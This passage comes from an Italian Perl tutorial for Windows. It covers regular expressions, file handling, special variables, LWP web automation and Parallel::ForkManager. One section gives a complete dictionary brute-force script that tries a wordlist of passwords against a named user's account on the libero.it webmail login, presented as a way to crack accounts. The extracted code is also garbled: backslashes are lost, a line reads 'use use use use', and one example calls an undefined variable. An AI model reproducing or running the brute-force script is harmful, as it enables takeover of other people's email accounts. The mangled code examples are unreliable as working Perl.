piacere escluso n. Siccome il motore è ingordo, quel "numero qualsiasi di caratteri" per lui è tutti i caratteri possibili della stringa e quindi si posiziona in fondo alla stringa. Essendosi posizionato in fondo alla stringa è chiaro che non riuscirà a verificare l'espressione: non c'è ovviamente spazio in fondo alla stringa per "bollo". Allora decide d'indietreggiare di un passo posizionandosi sul penultimo carattere della stringa. Anche in questo caso non c'è posto per "bollo", al massimo ci sarebbe spazio per il primo carattere, "b", continuando così a indietreggiare finché o trova "bollo", ma ho lo trova nella posizione più a destra possibile nella stringa oppure non lo trova affatto. ? -Operatore che rende inerte il linguaggio Utilizzando l’operatore ‘?’ otteniamo la variante pigra dei moltiplicatori. {min, max}? - prima prova min e poi incrementa fino a max {n, }? - prima prova n e poi incrementa {n}? - uguale alla versione ingorda *? - prima prova zero e poi incrementa +? - prima prova 1 e poi incrementa ?? - prima prova 0 e poi 1 $1 $2 $3 -Memorizzazione delle corrispondenze. Le parentesi, oltre alla funzione di creare insiemi di elementi, hanno anche la funzione di riempire variabili speciali. Infatti se e solo se un’espressione regolare è verificata allora vengono generate delle variabili $1 $2 $3… che conterranno il valore contenuto in tutte le copie di parentesi inserite nell’espressione regolare. print "Inserisci una data valida del tipon"; print "XXXXXXXX e premi invionn"; chomp($data=<STDIN>); if($data =~ /(..)/(..)/(....)/) { print "gg: $1n"; print "mm: $2n"; print "aa: $3n"; } Luigi Capuzzello
  • 16. Guida al Perl per Win3216 else { print "Formato data errato"; } Oppure posso prelevare un tag HTML indicandolo come una qualsiasi sequenza di caratteri che inizia con < finisce con > e ha al suo interno almeno un carattere: chomp($tag_html = <STDIN>); if($tag_html =~ /<(.+)>/) { print "Tag: $1n"; } 1 2 -Altri simboli speciali: Anche i simboli 1 2 … come $1 $2… contengono i valori indicati nelle parentesi; ma li posso usare direttamente nelle espressioni regolari. /vado(.+?)al1mare/ In questo esempio 1 conterrà il valore indicato da (.+?). Risultano pertanto valide le seguenti espressioni: vado-al-mare vado al mare non valide queste altre: vado-al mare vado al mare ?: -Simbolo speciali Serve per impedire di memorizzare nelle variabili $1 $2 il valore delle esperessioni nelle (). Questo per risparmiare spazio in memoria qualora non serva tale valore. /(?:aeiou)+/ cerco tutte le espressioni che abbiano almeno una sequenza ‘aeiou’ ma non memorizzo il valore in $1 $& $` $’ – Simboli speciali $& $` $' contiene la sezione di stringa che verifica l'espressione contiene la sezione di stringa che precede quella che verifica l'espressione contiene la sezione di stringa che segue quella che verifica l'espressione $a="Italia batte in rete all'Olanda"; $a=~ /rete/; print "esiste: $& n"; print "prima: $` n"; print "dopo: $' n"; ha come risultato: esiste: -reteprima: -Italia batte in dopo: - all'Olanda- ^ $ b B -Asserzioni Servono ad identificare particolari sezioni all'interno di una stringa, come l'inizio, la fine o i confini di una parola (con confine di una parola si intende un qualsiasi punto che abbia da una parte un carattere parola w e dall’altro un qualsiasi carattere non parola W). ^ indica l'inizio della stringa $ indica la fine della stringa b indica il confine di una parola ("b" sta per boundary) B indica ogni punto che non sia confine di parola Luigi Capuzzello
  • 17. Guida al Perl per Win3217 Per verificare tutte le stringhe che iniziano per italia /^Italia/ Per verificare tutte le stringhe che finiscono per italia /Italia$/ /bmareb/ verifica "andiamo al mare", "un giorno al mare", ma non verifica "maremoto" né "altamarea". ?= ?! -lookahead positivo e negativo Il lookahead positivo e negativo sono espressioni che devono essere verificate solo nella posizione in cui sono inserite. ?= lookahead positivo ?! lookahead negativo /Italia(?=s+vincente)/ Questa espressione regolare verifica la stringa "Italia" solo se questa è seguita da almeno uno spazio, e dopo lo spazio si trova la stringa "vincente". | -Alternative L’operatore | serve a costruire delle alternative. /Tizio|Caio|Sempronio/ Valuta se nella mia espressione compare almeno uno dei tre nomi. Precedenze tra operatori Parentesi ( ) (?: ) Moltiplicatori ? + * {m,n} {n,} {n} ?? +? *? Sequenza e asserzioni Abc ^ $ b B (?= ) (?! ) Alternativa | Interpolazione di variabili È possibile utilizzare delle variabili all’interno di espressioni regolari. Ad esempio: $a = 'Caio'; $_ = 'Caio, Sempronio e Pincopallino'; m/^$a/; In questo caso l’epsressione regolare corrisponde a m/^Caio/; /i -Ignora il case Per ignorare il case all’interno di un’espressione regolare uso i $a="Ormai è estate e la domenica si va a mare"; if( $a=~/DoMEnICa/i) {print "trovaton"; } else{ print "non trovaton"; } l u L U E -Maiuscolo e Minuscolo l poni in minuscolo il prossimo carattere u poni in maiuscolo il prossimo carattere Luigi Capuzzello
  • 18. Guida al Perl per Win3218 L tutto minuscolo fino al prossimo E U tutto maiuscolo fino al prossimo E /…/g -Matching Globale Appena un’espressione regolare viene verificata, il controllo sul resto della stringa viene tralasciato. Il matching globale serve proprio a continuare nella valutazione della stringa. s/…/…/ -Operatore di sostituzione. La sintessi dell’operatore di sostituzione è la seguente: s/espressione-regolare/sostituzione/ Ad esempio: $a= "Io e Fabio siamo amici da sempre"; print "$an"; $a =~ s/Io e Fabio siamo/Fabio e Rocker non sono/; print "$an"; $a =~ s/$a/Ma e come se lo fossero!/; print "$an"; $a =~ s/!/. La stessa cosa vale anche con Alessandro./; print "$an"; $a =~ s/$a/Salvatore invece è un po' fetente./; print "$an"; print "nFine :)"; oppure $a= "La farfalla"; print "$an"; $a =~ s/[a]/@/g; print "$an"; si ottiene L@ f@rf@ll@ tr/…/…/ -Operatore di traduzione L'operazione di traduzione tr risolve facilmente casi difficili da affrontare con la sostituzione quali ad esempio sostituire tutte le "a" di una stringa con delle "o", e tutte le "o" con delle "i". Usa la sintassi: tr/caratteri-da-cercare/caratteri-da-sostituire/ Ad esempio per sostituire tutte le lettere minuscole con le relative lettere maiuscole uso: tr/a-z/A-Z/ $a= "La farfalla"; print "$an"; $b = $a =~ tr/a-z/A-Z/; print "$an"; $a =~ s/[A]/@/g; print "$an"; print "------------nn"; $c= "La farfalla e l'elefante"; print "$cn"; $d = $c =~ tr/a,e/e,a/; print "$cn"; print "nFine"; split split(espressione_regolare,variabile_target,numero_elementi); dove: Luigi Capuzzello
  • 19. Guida al Perl per Win3219 espressione_regolare è l'espressione che se verificata crea le divisioni. Se non specificata l'espressione di default è /s+/ la sequenza di spazi. variabile- target è il nome della variabile su cui applicare split. Se non specificata split viene applicato a $_ numero-elementi è il numero massimo di elementi in cui si vuole spezzare la stringa. Ad esempio: $_ = "uno due tre quattro cinque"; @numeri = split; print "@numeri"; $testo = 'uno:due:tre:quattro:'; @numeri = split(/:/,$testo,2); join Se la funzione split serve a spezzare gli elementi di una stringa in un array, la funzione join li rincolla. $a='-'; @b=('uno', 'due', 'tre'); $incollaggio=join($a, @b); Ottengo $incollaggio=uno-due-tre Esempi pratici Per recuperare un indirizzo IP l’espressione regolare potrebbe essere questa /s*(d{1,3}).(d{1,3}).(d{1,3}).(d{1,3})s*/ Luigi Capuzzello
  • 20. Guida al Perl per Win3220 VI. File e Directory Copiare un File in un altro Supponiamo di creare i file uno.txt e due.txt e di voler copiare il contenuto di uno.txt in due.txt. $uno='c:proveuno.txt'; $due='c:provedue.txt'; open(a, "<$uno") or die "Non apre uno.txt"; # con l'istruzione open chiediamo di aprire # il file valorizzato in $uno che identificheremo # un nome a piacere, in questo caso 'a' # il carattere '<' indica che il file è di # sola lettura, ma è anche possibile ometterlo # in quanto se non specificato, il programma # lo inserisce di default, gli operatori # 'or' e 'die' sono molto importanti e ci # permettono di uscire dal programma nel caso # non si riesca ad individuare il file da # cercare, restituendoci una frase a piacere. open(b, ">$due") or die "Non apre due.txt"; # apro due.txt in sola scrittura while($riga=<a>){ print b $riga; } # con l'istruzione while, chediamo # di stampare tutte le stringhe contenute # in 'a'in 'b', dove 'a' identifica $uno, # e 'b' identifica $due close(a); close(b); L’operatore binario <> prende una stringa di caratteri fino a /n incluso; il fine file viene preso come terminatore dell’ultima riga. I modi per aprire un file sono i seguenti: Sola lettura: open( A, '<nome_file' ) oppure open(A, 'nome_file' ) Sola scrittura: open(A, '>nome_file') Append: open(A, '>>nome-file') Lettura e scrittura: open(A, '+<nome file') Scrittura e lettura: open(A, '+>nome-file') Append e lettura: open(A, '+>>nome-file') Seek Serve per posizionarsi all’interno di un file una volta aperto. La sintassi si seek è la seguente: descrittore è il descrittore del file. numero-di-byte numero di byte di cui ci si vuole spostare nel file a partire dal riferimento. riferimento Vale: - 0 per inizio file; - 1 se siamo nel mezzo del file (nel qual caso numero_di_byte può essere espresso da un numero negativo); - 2 per la fine del file. Ecco alcuni esempi: $uno='c:proveuno.txt'; open(a,'+<uno.txt') or die "non riesco ad aprire il file"; seek(a,0,2); # posiziona il cursore in fondo al file print a "n Giordano Costantini"; #firma il file close(a); $aaa='c:provetre.txt'; open(a, '+>tre.txt') or die "non trovo il file"; print a "Come son contenton"; print a "finalmente sto imparando molte cosen"; print a "sul Perl e la sua semplicità d'impiego"; seek(a, 0, 0); # posiziona il cursore all'inizio del file Luigi Capuzzello
  • 21. Guida al Perl per Win3221 print while<a>; # visualizza il file close(a); La funzione di Globbing Serve per caricare tutti i file della cartella corrente all’interno di un array. Posso usare un metodo sbrigativo: @a = <*.txt>; print "@an"; oppure per non generare confusione con il simbolo ‘*’ usato nelle espressioni regolari posso usare: @a = glob("*.txt"); print "@an"; o ancora: $a="*.txt "; @a =glob $a; print "@an"; Aprire file binari Per alcuni SO non vi è differenza tra un file binario e uno testuale; per altri, come Windows, vi è; quindi occorre aprirli in maniera differente. open(a, 'pippo.gif') or die "Non riesco ad aprire pippo"; binmode(a); read(a, $buf, 1024); dove read ha la seguente sintassi: read(descrittore, variabile-buffer, numero_byte); - 'descrittore' è il descrittore di file da cui leggere; 'variabile-buffer' è la variabile a cui assegnare i prossimi byte letti; 'numero-byte' stabilisce quanti byte alla volta leggeremo con la byte. open(a, 'c:/prove/ligabue.mp3') or die 'Non riesco ad aprire il file'; open(b,'>c:/prove/Battiato.mp3'); binmode(a); binmode(b); while(read(a, $buf, 100)){ print b $buf; } Test sui file Una volta aperto un file posso fare diversi test open(a, 'c:/prove/ligabue.mp3') or die 'Non riesco ad aprire il file'; if(-e a){ print "Il file esisten"; } else{ print "Non esiste il filen"; } Ecco tutti i possibili test: Operatore di test Significato Windows (s/n) -r File leggibile da uid/gid effettivo s -w File scrivibile da uid/gid effettivo s -x File eseguibile da uid/gid effettivo s Luigi Capuzzello
  • 22. Guida al Perl per Win3222 -o File posseduto da uid effettivo n -R File leggibile da uid/gid reale n -W File scrivibile da uid/gid reale n -X File eseguibile da uid/gid reale n -O File posseduto da uid reale n -e File esiste s -z File ha dimensione zero s -s Dimensione del file s -f File normale s -d Directory s -l Link simbolico n -p Pipe con nome n -S Socket n -b File speciale block n -c File speciale carattere n -t Descrittore aperto su tty n -u Il bit setuid è alto n -g Il bit setgid è alto n -k Il bit sticky è alto n -T File di testo s -B File binario s -M Età in giorni dall'ultima modifica al file s -A Età in giorni dall'ultimo accesso s -C Età in giorni dall'ultima modifica di inode s Oppure utilizzo in colpo solo la funzione stat che resituisce in un colpo solo 13 argomenti: @a =stat "C:proveBattiato.mp3"; print "@an"; Valore Descrizione Unix Descrizione Win32 $a[0] Numero dispositivo numero dei drive $a[1] Numero di inode zero $a[2] Modo dei file: read/write/execute $a[3] Numero di link al file 1 $a[4] User ID 0 $a[5] Group ID 0 $a[6] ldentificatore dispositivo numero drive $a[7] Dimensione file in byte Dimensione file in byte $a[8] Ultimo istante di accesso Ultimo istante di accesso $a[9] Ultimo istante di modifica Ultimo istante di modifica $a[10] Ultimo istante di creazione Ultimo istante di creazione $a[11] Dimensione dei blocco dei disco 0 $a[12] Numero di blocchi per file 0 Eliminare un File unlink "C:proveBattiato.mp3"; unlink <*.txt>; Luigi Capuzzello # Cancella il file indicato # elimina tutti i file *.txt
  • 23. Guida al Perl per Win3223 Rinominare un File rename('uno.txt', 'ciao.html'); rename('c:/a/ciao.html','c:/a/b/uno.txt'); Modifica dei permessi di un File chmode(mode, lista file); chmode(744, 'uno.txt', 'due.txt', 'tre.txt'); dove ad esempio mode vale: - 666 per indicare permesso read/write 444 per indicare permesso di sola lettura Cambiare la directory chdir(nuova_directory); Aprire una Directory, leggere i File e chiudere una Directory $dir = 'c:prove'; opendir(prove, $dir) or die "Non riesco ad aprire $dir"; while($file_base = readir(prove)){ print "$file_basen"; } closedir(prove); oppure $dir = 'c:prove'; opendir(prove, $dir) or die "Non riesco ad aprire $dir"; @nomi_file = readir(prove); print "@nomi-filen"; closedir(prove); Creare e Cancellare una Directory mkdir('prove2', 777); rmdir('prove2'); Luigi Capuzzello
  • 24. Guida al Perl per Win3224 VII. Variabili Speciali $_ -variabile di default Rappresenta la variabile di default; molte funzioni prendono quella come variabile se non diversamente specificato. Ad esempio $_ = "bla bla blan"; print; Visualizza ‘bla bla bla’ $#array -Size dell’array Restituisce il numero di elementi di un array $$ $< $0 $! $? $@ -variabili sullo stato del programma $$ visualizza il PID del programma $< visualizza l'UID dell'utente che ha eseguito il programma $0 visualizza il nome del programma $! visualizza lo stato dell'ultima chiamata del programma $? visualizza lo stato di ritorno dell'ultima operazione di esecuzione di un processo esterno $@ visualizza l'ultimo messaggio di errore prodotto dallo script ARGV -variabili passate al mio script Per prelevare le informazioni che vengono passate al mio script uso l’array ARGV. $ARGV[0] || die "Devi specificare la stringa da cercaren"; @file = `ls -1`; chop(@file); foreach $file (@file) { -T $file || next; open(FILE, "<$file") ||next; while ($r = <IN>) { $r =~ /$ARGV[0]/ && print "$file: $r"; } close (IN); } Oppure $filename = $ARGV[0]; open(FILE, "< $filename") || die "Errore!nn"; while ($riga = <FILE>) { print "$riga"; } %ENV -varaibili d’ambiente Tutte le variabili d’ambiente vengono catturate dall’interpreter Perl che le mette nello Hash %ENV. #!/usr/bin/perl print "Path è: $ENV{PATH}n"; Luigi Capuzzello
  • 25. Guida al Perl per Win3225 VIII. Variabili Speciali Dichiarazione di funzioni Per dichiarare una funzione basta fare: sub nome_della_funzione { contenuti; della; funzione; } Passare dati a una funzione All'interno di una sub, possiamo aver accesso ai parametri passati (se ce ne sono) tramite lo speciale array @_ . Così il primo valore passato alla sub sarà $_[0], il secondo $_[1] e così via. sub print_first_argument { print $_[0], "n"; } sub print_number_of_arguments { print $#_ +1, "n"; } Utilizzare una funzione Per utilizzare una funzione bisogna sembra fare riferimento al nome della stessa preceduto da &. Dunque &<Nome-funzione> sub addone { $_[0] = $[0] +1; return $_[0]; } $Numero = 3; &addone($Numero); &addone($Numero,$Numero2,$Numero3); Oppure per passare più di un valore posso fare così: print "Inserisci i numeri:n"; @numeri = <STDIN>; chop (@numeri); $media = &media(@numeri); print "Media = $median"; local -Dichiarazione di variabili locali Questo crea queste nuove variabili nel momento dell'esecuzione, salvando i precedenti valori delle variabili con lo stesso nome (se esistono); in seguito, alla fine del blocco {} in cui erano incluse, queste variabili locali vengono distrutte, ed il loro valore iniziale viene ripristinato. Le variabili locali possono essere inizializzate nei seguenti modi: local($variable, $anothervar, @even_an_array); local($variable, $anothervar)=(value, anothervalue); Luigi Capuzzello
  • 26. Guida al Perl per Win3226 IX. Web Automation LWP: classi principali Il modulo LWP contiene un insieme molto grande di classi che possono essere utilizzate. Le più importanti sono: LWP::UserAgent: usata per creare dei browser virtuali che siano in grado di effettuare delle Request; HHTP::Response: in grado di gestire le risposte (o i messaggi di errore) delle varie Request. HTTP::Response -Metodi principali La maniera più semplice per usare le due classi è la segunte: $response = $browser->get($url) In questo caso l’oggetto $response è già un HTTP::Response I metodi più importanti dell’oggetto HTTP::Response sono: - $response->is_success: che mi dice se la richiesta di una data pagina ha avuto o meno successo; - $response->status_line: nel caso di errore mi restituisce informazioni circa il fallimento (404 – Not found); - $response->content_type: mi da informazioni sul MIME content-type della pagina aperta (text/html – image/gif); Aggiungere HTTP Request Header È anche possibile inserire altri Header alla richiesta di una pagina con http. Per farlo è sufficiente: my @ns_headers = ( 'User-Agent' => 'Mozilla/4.76 [en] (Win98; U)', 'Accept' => 'image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*', 'Accept-Charset' => 'iso-8859-1,*,utf-8', 'Accept-Language' => 'en-US', ); ... $response = $browser->get($url, @ns_headers); Cookies I cookies vengono gestiti con l’ oggetto cookie_jar. Questo oggetto rimappa sia i cookies salvati su disco sia quelle residenti in memoria che vengono definitivamente persi una volta chiuso il browser. Per creare in memory cookies dobbiamo fare così: use LWP; my $browser = LWP::UserAgent->new; $browser->cookie_jar($cookie_jar); In questo caso ho creato un vaso (jar) che conterrà in memoria i nostri cookies e l’ho chiamato $cookie_jar. Per creare cookies da leggere e scrivere su file dobbiamo invece fare così: use HTTP::Cookies; $browser->cookie_jar( HTTP::Cookies->new( 'file' => '/some/where/cookies.lwp', 'autosave' => 1, )); - # where to read/write cookies # save it to disk when done File: è il nome del file su cui i cookies vengono salvati e da cui vengono prelevati i cookies; Autosave: vale 1 se i cookies devono essere salvati sul file prima che l’oggetto http::Cookies venga distrutto; Ignore_discard: vale 1 se devono essere forzatamente salvati su file i cookies che dovrebbero essere eliminati; $cookie_jar->add_cookie_header($request) Questo metodo cerca se c’è un cookies jar (vaso) salvato, corrispondente all’URL richiesto. Se lo trova aggiunge tali valori come Cookies Header e li invia insieme alla richiesta. Luigi Capuzzello
  • 27. Guida al Perl per Win3227 $cookie_jar->set_cookie($version, $key, $value, $path, $domain, $port,...) version: A string containing the cookie-spec version number. key: The name of the cookie. Val: The value of the cookie. Path: The pathname of the URL for which the cookie is set. Domain: The domain name for which the cookie is set. port :The port number of the URL for which the cookie is set. $cookie_jar->clear($domain, $path, $key) Posso settare uno, due o tutti e tre i parametri. A seconda di quello che scelgo posso arrivare a cancellare un cookie: di uno specifico dominio, all’interno di uno specifico percorso (del dominio) e all’interno di quel percorso il cookie con un certo nome. Effettuare un POST La sintassi più generica per inviare dati tramite un POST è la seguente: $response = $browser->post( $url, [ formkey1 => value1, formkey2 => value2, ... ], headerkey1 => value1, headerkey2 => value2, ); # Campo-Valore da inviare con il POST # Header aggiuntivo questa sintassi consente di inviare le coppie campo-valore da inviare con il POST e degli HEADER aggiuntivi. Ad esempio: use strict; use warnings; use LWP 5.64; my $browser = LWP::UserAgent->new; my $word = 'tarragon'; my $url = 'http://www.altavista.com/sites/search/web'; my $response = $browser->post( $url, [ 'q' => $word, # the Altavista query string 'pg' => 'q', 'avkw' => 'tgz', 'kl' => 'XX', ] ); die "$url error: ", $response->status_line unless $response->is_success; die "Weird content type at $url -- ", $response->content_type unless $response->content_type eq 'text/html'; if( $response->content =~ m{AltaVista found ([0-9,]+) results} ) { # The substring will be like "AltaVista found 2,345 results" print "$word: $1n"; } else { print "Couldn't find the match-string in the responsen"; } Effettuare un GET La sintassi da usare per ottenere una GET di questo tipo : http://us.imdb.com/Tsearch?title=Blade %20Runner&restrict=Movies+and+TV È la segunte: Luigi Capuzzello
  • 28. Guida al Perl per Win3228 use URI; my $url = URI->new( 'http://us.imdb.com/Tsearch' ); $url->query_form( # And here the form data pairs: 'title' => 'Blade Runner', 'restrict' => 'Movies and TV', ); my $response = $browser->get($url); Usare PROXY Per consentire all’oggetto browser di utilizzare i Proxy è sufficiente la riga di codice use LWP; my $browser = LWP::UserAgent->new $browser ->proxy(['http', 'ftp'], 'http://proxy.sn.no:8001/'); Se poi servono delle credenziali per accedere al web proxy allora posso usare il metodo credential $browser->credentials( 'servername:portnumber', 'realm-name', 'username' => 'password' ); HTTPS Valgono le stesse considerazioni degli accessi via HTTP HTTP Authentication Talvolta l’accesso ai documenti da internet richiede una HTTP Authentication. In questo caso non appare una semplice form di inserimento User e Password perché il documento appartiene ad un dominio. Bisogna pertanto fornire delle credenziali specifiche. Ad esempio: Supponiamo di voler accedere al documento: http://www.unicode.org/mail-arch/unicode-ml/y2002-m08/0067.html In questo caso ci apparirà la form di HTTP Authentication: Se noi proviamo ad automatizzare l’accesso al documento con il classico: use LWP 5.64; my $browser = LWP::UserAgent->new; my $url ='http://www.unicode.org/mail-arch/unicode-ml/y2002-m08/0067.html'; my $response = $browser->get($url); Luigi Capuzzello
  • 29. Guida al Perl per Win3229 die "Error: ", $response->header('WWW-Authenticate') || 'Error accessing', # ('WWW-Authenticate' is the realm-name) "n ", $response->status_line, "n at $urln Aborting" unless $response->is_success; Otteniamo il seguente errore: Error: Basic realm="Unicode-MailList-Archives" 401 Authorization Required at http://www.unicode.org/mail-arch/unicode-ml/y2002-m08/0067.html Aborting at auth1.pl line 9. [or wherever] Per ottenere il documento dobbiamo allora fornire le giuste credenziali con la seguente sintassi: use LWP 5.64; my $browser = LWP::UserAgent->new; $browser->credentials( 'servername:portnumber', 'realm-name', 'username' => 'password' ); Pagine di grosse dimensioni. Per non caricare pagine di grosse dimensioni in memoria posso usare la segunte sintassi $response = $ua->get($url, ':content_file' => $filespec, ); Ad esempio: $response = $ua->get('http://search.cpan.org/', ':content_file' => '/tmp/sco.html' ); Attenzione!! In questo modo $response- conterrà tutti gli Header normali ma $response->content sarà vuoto! Esempio riepilogativo: Accedere al Sy@net con User e Password. Il Perl mette a disposizione un notevole numero di moduli che facilitano la gestione delle pagine Web. Il loro utilizzo è semplice e consente di velocizzare notevolmente alcune operazioni che vengono svolte ripetutamente come ad esempio l’accesso ad una determinata pagina con un Login per controllare che nella Home non siano presenti articoli che mi interessano. In questo caso potremmo utilizzare uno Script di questo tipo: #!/usr/bin/perl -w use use use use strict; LWP::UserAgent; HTTP::Cookies; IO::Handle; autoflush STDERR 1; # # Istanzio anche l’oggetto cookies che in qusto caso non serve a nulla ma in altri casi potrebbe servire. my $cookies = HTTP::Cookies->new; # # LWP::UserAgent setup: # Lo UserAgent è in sostanza il gestore della connessione tcp/ip. Potrebbe essere visto come il browser. # In questo caso definisco alcune caratteristiche del browser e gli inietto gli eventuali cookies my $ua = LWP::UserAgent->new( keep_alive => 1, agent => 'SIBot/1.0', requests_redirectable => ['HEAD', 'GET', 'POST'], cookie_jar => $cookies, Luigi Capuzzello
  • 30. Guida al Perl per Win3230 ); $ua->env_proxy; # # Prelevo da riga di comando lo user e la password con cui accedere alla pagina web print STDERR "Login: "; my $user = <STDIN>; chomp $user; print STDERR "Password: "; my $pass = <STDIN>; chomp $pass; # # # # # Mi collego alla pagina di LOGIN!! Non alla Home. metto nell’oggetto $login la risposta al POST. Per farlo passo al POST: - URL della pagina che contiene il login; - tutte le coppie ‘campo’ => ‘valore’ che servono al POST per effettuare il Login my $login = $ua->post('http://dok/synet/Logon.asp', { UID => $user, PWD => $pass, PIN => '', IDSUBMIT1 => 'Login', KEYFOUND => 'true', IPc => '192.168.110.91', }); # # L’oggetto $login così creato ha a dispozione i seguenti metodi: # - $login->is_success: mi dice se l’operazione (intesa come verifica dell’esistenza della pagina, # apertura della porta 80) è tecnicamente riuscita; # - $login->content: contiene tutto il codice HTML della risposta ottenuta del WebServer die "Errore: ".$login->content unless $login->is_success; # # A questo punto chiedo al sistema di prendere la pagina della Home.asp. # Se il login è andato a buon fine allora otterrò la pagina che desidero, altrimenti la pagina che mi dice che # il login non è corretto my $HomePag = $ua->get('http://dok/synet/Home.asp'); # Controllo comunque che la pagina 'http://dok/synet/Home.asp' esista die "Impossibile mostrarti la Home.asp!" unless $HomePag->is_success; print $HomePag->content; # # A questo punto dalla pagina che ricevo estraggo i dati che mi interessano my @list = grep(m#<a href="[^"]+"><b>[^<]+</b></a>#, split(/[rn]/, $articles->content)); foreach (@list[0 .. 9]) { m#<a href="([^"]+)"><b>([^<]+)</b></a>#; print "$2nhttp://freshmeat.net$1n"; } Luigi Capuzzello
  • 31. Guida al Perl per Win3231 Esempio riepilogativo: Craccare gli account di Libero. Con la Web Automation posso provare (ma bisogna avere un vocabolario mirato) a craccare le password di accesso a libero. Per farlo basta conoscere i dati che devono essere inviati con il POST alla pagina di Login. Molto utile in questo caso può essere un briwser come FireFox che consente di analizzare su una data pagina, tutte le form che sono presenti e per ogni form tutti i get e i post che possono essere fatti con i relativi parametri! Per farlo basta andare sulla pagina desiderata; tasto destro; visualizza info pagina; andare al tab moduli. # Apro la connessione al Dizionario # $ARGV[0] || die "nUtilizzare la seguente sintassinbruteLibero.pl <Utente di libero> <Percorso del Dizionario>nnAd esempio:n BruteLibero luigi.capuzzello .Dizio.txtn"; $ARGV[1] || die "nUtilizzare la seguente sintassinbruteLibero.pl <Utente di libero> <Percorso del Dizionario>nnAd esempio:n BruteLibero luigi.capuzzello .Dizio.txtn"; $NomeFile=$ARGV[1]; open(a, "<$NomeFile") or die "Non trovo il file <$ARGV[0]>"; # # Apro la connessione alla pagina di Libero # use strict; use LWP::UserAgent; use HTTP::Cookies; use IO::Handle; autoflush STDERR 1; # # LWP::UserAgent setup # my $cookies = HTTP::Cookies->new; my $ua = LWP::UserAgent->new( keep_alive => 1, agent => 'SIBot/1.0', requests_redirectable => ['HEAD', 'GET', 'POST'], cookie_jar => $cookies, ); $ua->env_proxy; my $suser=$ARGV[0]; my $spwd; my $login; while($spwd=<a>){ # #Per ogni parola del Dizionario provo ad entrare # chomp($spwd); $login = $ua->post('http://wpop3.blu.libero.it/email.php', { LOGIN => $suser, PASSWD => $spwd, dominio => 'libero.it', choice => 'libero', Act_Login => 'Entra', 'Act_Login.x' => 29, 'Act_Login.y' => 12, }); die "Errore: ".$login->content unless $login->is_success; print "nSono entrato e... "; if ($login->content =~ /Leggi mail/g) { #if ($login->content =~ /DOCTYPE HTML PUBLIC/g) { print "Congratulation StarFigther The Password is...".$spwd."nn";} else { print "Dho'! <$spwd> non sembra la Password corretta !n";} #print "$rigan"; } close(a); Luigi Capuzzello
  • 32. Guida al Perl per Win3232 Riferimenti: http://www.siforge.org/articles/2005/02/17-perl_web_automation.html http://www.siforge.org/articles/2003/11/10-guida_sessioni_php.html http://www.perl.com/pub/a/2002/08/20/perlandlwp.html Luigi Capuzzello
  • 33. Guida al Perl per Win3233 IX. CGIPerl Installazione dell’ambiente Per poter realizzare pagine HTML dinamiche con il perl bisogna avere installato sulla propria macchina: ActivePerl; Apache per W32 Entrambi i programmi sono nella cartella Software della sezione Perl. L’installazione di Apache è spiegata dettagliamene con un file di help dentro a SoftwareApacheInstallazione W32 di Apache e Perl.htm In sostanza non ci sono particolari difficoltà: se un IIS sta già andando sulla macchina le possibilità sono due: 1. si installa Apache su una porta diversa modificando il file di configurazione ‘httpd’; Listen 80 --> Listen 8080 ServerName your-server-name:80 --> ServerName your-server-name:8080 2. si attivano/disattivano di volta in volta sulla porta 80 IIS o Apache Una volta installato il server Apache controllare che nel file di configurazione ‘httpd’ vi sia la riga che specifica l’alias del percorso del sito dove metteremo le nostre pagine CGI (script Perl). ScriptAlias /cgi-bin/ "C:/Programmi/Apache Group/Apache2/cgi-bin/" Una guida è su http://www.cgi101.com/book/ch1/text.html Luigi Capuzzello
  • 34. Guida al Perl per Win3234 Parallel::ForkManager 0.7 Perl module - Part of CPAN distribution Parallel-ForkManager 0.7.3. Installazione del modulo Per installare il modulo occorre scaricare il contenuto di: http://search.cpan.org/CPAN/authors/id/D/DL/DLUX/Parallel-ForkManager-0.7.5.tar.gz scompattare la cartella perl MakePL.pl make make install NAME Parallel::ForkManager - A simple parallel processing fork manager SYNOPSIS use Parallel::ForkManager; $pm = new Parallel::ForkManager($MAX_PROCESSES); foreach $data (@all_data) { # Forks and returns the pid for the child: my $pid = $pm->start and next; ... do some work with $data in the child process ... $pm->finish; # Terminates the child process } DESCRIPTION This module is intended for use in operations that can be done in parallel where the number of processes to be forked off should be limited. Typical use is a downloader which will be retrieving hundreds/thousands of files. The code for a downloader would look something like this: use LWP::Simple; use Parallel::ForkManager; ... @links=( ["http://www.foo.bar/rulez.data","rulez_data.txt"], ["http://new.host/more_data.doc","more_data.doc"], ... ); ... # Max 30 processes for parallel download my $pm = new Parallel::ForkManager(30); foreach my $linkarray (@links) { $pm->start and next; # do the fork my ($link,$fn) = @$linkarray; warn "Cannot get $fn from $link" if getstore($link,$fn) != RC_OK; $pm->finish; # do the exit in the child process } $pm->wait_all_children; First you need to instantiate the ForkManager with the "new" constructor. You must specify the maximum number of processes to be created. If you specify 0, then NO fork will be done; this is good for debugging purposes. Next, use $pm->start to do the fork. $pm returns 0 for the child process, and child pid for the parent process (see also perlfunc(1p)/fork()). The "and next" skips the internal loop in the parent process. NOTE: $pm->start dies if the fork fails. $pm->finish terminates the child process (assuming a fork was done in the "start"). NOTE: You cannot use $pm->start if you are already in the child process. If you want to manage another set of subprocesses in the child process, you must instantiate another Parallel::ForkManager object! METHODS new $processes Luigi Capuzzello
  • 35. Guida al Perl per Win3235 Instantiate a new Parallel::ForkManager object. You must specify the maximum number of children to fork off. If you specify 0 (zero), then no children will be forked. This is intended for debugging purposes. start [ $process_identifier ] This method does the fork. It returns the pid of the child process for the parent, and 0 for the child process. If the $processes parameter for the constructor is 0 then, assuming you're in the child process, $pm->start simply returns 0. An optional $process_identifier can be provided to this method... It is used by the "run_on_finish" callback (see CALLBACKS) for identifying the finished process. finish [ $exit_code ] Closes the child process by exiting and accepts an optional exit code (default exit code is 0) which can be retrieved in the parent via callback. If you use the program in debug mode ($processes == 0), this method doesn't do anything. set_max_procs $processes Allows you to set a new maximum number of children to maintain. Returns the previous setting. wait_all_children You can call this method to wait for all the processes which have been forked. This is a blocking wait. CALLBACKS You can define callbacks in the code, which are called on events like starting a process or upon finish. The callbacks can be defined with the following methods: run_on_finish $code [, $pid ] You can define a subroutine which is called when a child is terminated. It is called in the parent process. The paremeters of the $code are the following: - pid of the process, which is terminated - exit code of the program - identification of the process (if provided in the "start" method) - exit signal (0-127: signal name) - core dump (1 if there was core dump at exit) run_on_start $code You can define a subroutine which is called when a child is started. It called after the successful startup of a child in the parent process. The parameters of the $code are the following: - pid of the process which has been started - identification of the process (if provided in the "start" method) run_on_wait $code You can define a subroutine which is called when the child process needs to wait for the startup. One call is done per child, and this is called only in the 